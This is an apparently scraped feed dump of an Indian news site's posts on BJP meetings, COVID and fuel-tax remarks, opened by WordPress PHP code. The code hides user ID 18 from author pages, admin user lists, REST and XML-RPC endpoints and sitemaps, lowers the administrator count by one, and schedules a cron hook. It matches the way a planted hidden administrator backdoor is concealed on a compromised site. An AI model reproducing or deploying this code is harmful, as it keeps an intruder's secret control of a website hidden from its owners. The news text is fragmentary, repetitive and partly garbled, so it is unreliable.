add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Current govt is subsidising UPA’s petrol price cut: FM Nirmala Sitharaman appeared first on The Edge Media.
]]>Sitharaman said that as of 31 March, 2021, there were Rs 1.31 lakh crore in outstanding principles and Rs 37,340 crore in interest yet to be repaid on these oil bonds.
The post Current govt is subsidising UPA’s petrol price cut: FM Nirmala Sitharaman appeared first on The Edge Media.
]]>The post Modi’s aunt Narmadaben Modi is no more appeared first on The Edge Media.
]]>
Narmadaben used to live with her children in the New Ranip area of the city.
PM Modi’s younger brother Prahlada Modi said that our aunt Narmadaben has passed away. She was admitted to the civil hospital 10 days ago due to a corona infection. Her condition was continuously deteriorating due to infection. She breathed her last today.
There were 265 more deaths due to corona virus in Uttar Pradesh, 32,993 new cases were received.
Prahlada Modi said that Narmada Ben’s husband and his uncle Jagjivan Das Modi had passed away long ago. He was the younger brother of PM Modi’s father Damodardas Modi.
The post Modi’s aunt Narmadaben Modi is no more appeared first on The Edge Media.
]]>The post PM modi address to the nation appeared first on The Edge Media.
]]>At a time when there is a festive season in the country and the market is growing crowded and there is talk of flying social flags in many places.PM said people should not forget that even though the lockdown is gone But the corona virus is not yet gone.
He tried to explain his point through the couplets of Sant Kabir and a Soratha of Ramcharit Manas.
In his address, the Prime Minister said that Sant Kabir has said, ‘Look at ripe farming, farmers are proud. There is a lot of baggage, you know when you come home ..
‘The PM said that many farmers are happy after seeing the crop ripened in the field, but the crop can not be considered fully ripened until the work is completed.
What he meant to say is that one should not be negligent until success is achieved. Through this couplet of Saint Kabir, the PM tried to explain that until the vaccine of Corona comes, we should not let the battle weaken a whole lot.
Taking forward his point about the Corona epidemic and the precautions to be taken to deal with it. PM Modi said that if there are many instructive things in the Ramcharit Manas, there are warnings. That means enemies, diseases, fire, sins, masters and snakes should not be considered small.
Referring to the Ramcharit Manas, the PM gave the message that the disease should not be taken lightly until it is fully cured, there is no laxity until the medicine is done. He said that the festival time is a time of joy but little carelessness is heavy May be required.
The post PM modi address to the nation appeared first on The Edge Media.
]]>The post Is BJP now making a political dent in Samajwadi Party’s ‘home’? appeared first on The Edge Media.
]]>The post Is BJP now making a political dent in Samajwadi Party’s ‘home’? appeared first on The Edge Media.
]]>The post BJP central election committee meeting tomorrow appeared first on The Edge Media.
]]>According to the information received, all political parties have started brainstorming in the names of their candidates. Meanwhile, the BJP Central Election Committee is once again convening a meeting to consider the names of BJP candidates. It is being speculated that Prime Minister Narendra Modi may also attend this meeting.According to the Election Commission, the voting date for all these five assembly elections has been announced.
According to this, voting will be held in eight phases in West Bengal, in three phases in Assam, in one phase in Tamil Nadu, Kerala and Puducherry. Let me tell you, the first phase of voting in West Bengal will be held on 27 March and for the last phase on 29 April. Assam will have the first phase of voting on March 27, while the final phase will be held on April 6. At the same time, votes will be cast in Tamil Nadu, Puducherry and Kerala on 6 April.
The post BJP central election committee meeting tomorrow appeared first on The Edge Media.
]]>The post Tirath Singh Rawat will take oath of Chief Minister at Raj Bhavan today appeared first on The Edge Media.
]]>Let us know that from February 2013 to December 2015, Tirath Singh Rawat was taking charge as the state president of Uttarakhand BJP. He is a former MLA (2012-2017) from Chaubattakhal. Currently Tirath Singh Rawat is the national secretary of BJP as well as MP from Garhwal Lok Sabha. In addition to the BJP candidate from Pauri seat, he was also made the election in-charge of Himachal Pradesh in the 2019 Lok Sabha elections. Tirath Singh Rawat was elected the first Education Minister of newly formed Uttarakhand in the year 2000. After this, in 2007, Bharatiya Janata Party was elected the state general secretary of Uttarakhand. He was then the state election officer and the state membership chief. 2013 Uttarakhand was the Chairman of the Divine Disaster Management Advisory Committee.
Sources say that yet another Tirath Singh Rawat is a right choice for the post of Chief Minister. What sets him apart is that he is not identified by any faction in the Uttarakhand BJP.
The post Tirath Singh Rawat will take oath of Chief Minister at Raj Bhavan today appeared first on The Edge Media.
]]>The post BJP parliamentary party meeting discussed party roadmap in electoral states appeared first on The Edge Media.
]]>A meeting of the Bharatiya Janata Party Parliamentary Party was held today or Wednesday after a year under the chairmanship of Prime Minister Narendra Modi. Union ministers Rajnath Singh, Nirmala Sitharaman, Dr. S. Jaishankar and other senior leaders of the party were also present in this meeting along with Prime Minister Narendra Modi. The meeting was organized in the GMC Balayogi Auditorium of Parliament Complex.
For this meeting, which was being held a year later, it was speculated that there would be a special issue in the conflict in India due to the Corona epidemic and the assembly elections going to be held in five states. Apart from this, there will be talk on the progress of Corona vaccination happening in the country day by day and India’s important role in the supply of vaccine to other countries under the Friendship Campaign.
Earlier, a meeting of the Election Committee of the Bharatiya Janata Party was addressed by Prime Minister Modi. He advised the good works of the party to be passed on to the people. Please tell that due to Corona, the BJP Parliamentary Party did not meet for a year. The last meeting was held on 17 March last year.
The post BJP parliamentary party meeting discussed party roadmap in electoral states appeared first on The Edge Media.
]]>